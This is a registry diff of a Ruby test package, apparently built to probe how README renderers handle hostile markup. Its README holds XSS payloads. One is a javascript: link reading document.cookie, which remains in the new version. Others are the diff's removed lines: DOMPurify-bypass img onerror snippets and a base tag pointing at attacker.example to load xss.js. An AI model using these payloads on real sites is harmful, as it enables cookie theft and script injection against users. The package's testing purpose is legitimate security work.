zzhelloworld_socktest 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/README.md +4 -20
- data/lib/zzhelloworld_socktest/version.rb +1 -1
- metadata +1 -1
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 6cd4212bf8a5104730cff991463a650b15f0227cbba35202f289542a23ccafdb
|
|
4
|
+
data.tar.gz: b31548373a7479917bfcc10376c9cd873a3680d26304226187abb3be1155e6c3
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 8b33fc5f3d6b5bce0f99c4502f92d03455bb6422a5f75d7f9b428d34268b5883b7a9e43f1e44d2b090684dfb4f8ccd973a49d040ecc8529a0842ae89227bc911
|
|
7
|
+
data.tar.gz: 55fd03f6fa0ce1f3c945493d121f9e12094881a12401e856d2827d6df60597d17e364ce24196cb0bdbb668969cee9f98678e3e9bc24d1751dcaa71105daf95b9
|
data/README.md
CHANGED
|
@@ -1,9 +1,9 @@
|
|
|
1
1
|
# ZzhelloworldSocktest
|
|
2
2
|
|
|
3
|
-
<
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
<
|
|
3
|
+
<h1>h1</h1>
|
|
4
|
+
<h2>h2</h2>
|
|
5
|
+
|
|
6
|
+
<iframe src=https://socket.dev /></iframe>
|
|
7
7
|
|
|
8
8
|
<!-- markdow link to XSS, this usually always work but it requires interaction -->
|
|
9
9
|
[a](javascript:prompt(document.cookie))
|
|
@@ -25,22 +25,6 @@ t:prompt(document.cookie))
|
|
|
25
25
|
>)
|
|
26
26
|
|
|
27
27
|
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
|
28
|
-
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
|
29
|
-
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
|
|
30
|
-
<script>
|
|
31
|
-
const qs = new URLSearchParams(location.search)
|
|
32
|
-
if (qs.get("content")?.length > 0) {
|
|
33
|
-
document.body.innerHTML = marked.parse(
|
|
34
|
-
DOMPurify.sanitize(qs.get("content"))
|
|
35
|
-
)
|
|
36
|
-
}
|
|
37
|
-
</script>
|
|
38
|
-
|
|
39
|
-
<svg></p><style><a id="</style><img src=x onerror=alert(1)>"></svg>
|
|
40
|
-
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
|
|
41
|
-
|
|
42
|
-
<base href="https://attacker.example/">
|
|
43
|
-
<script src="/xss.js"></script>
|
|
44
28
|
|
|
45
29
|

|
|
46
30
|
|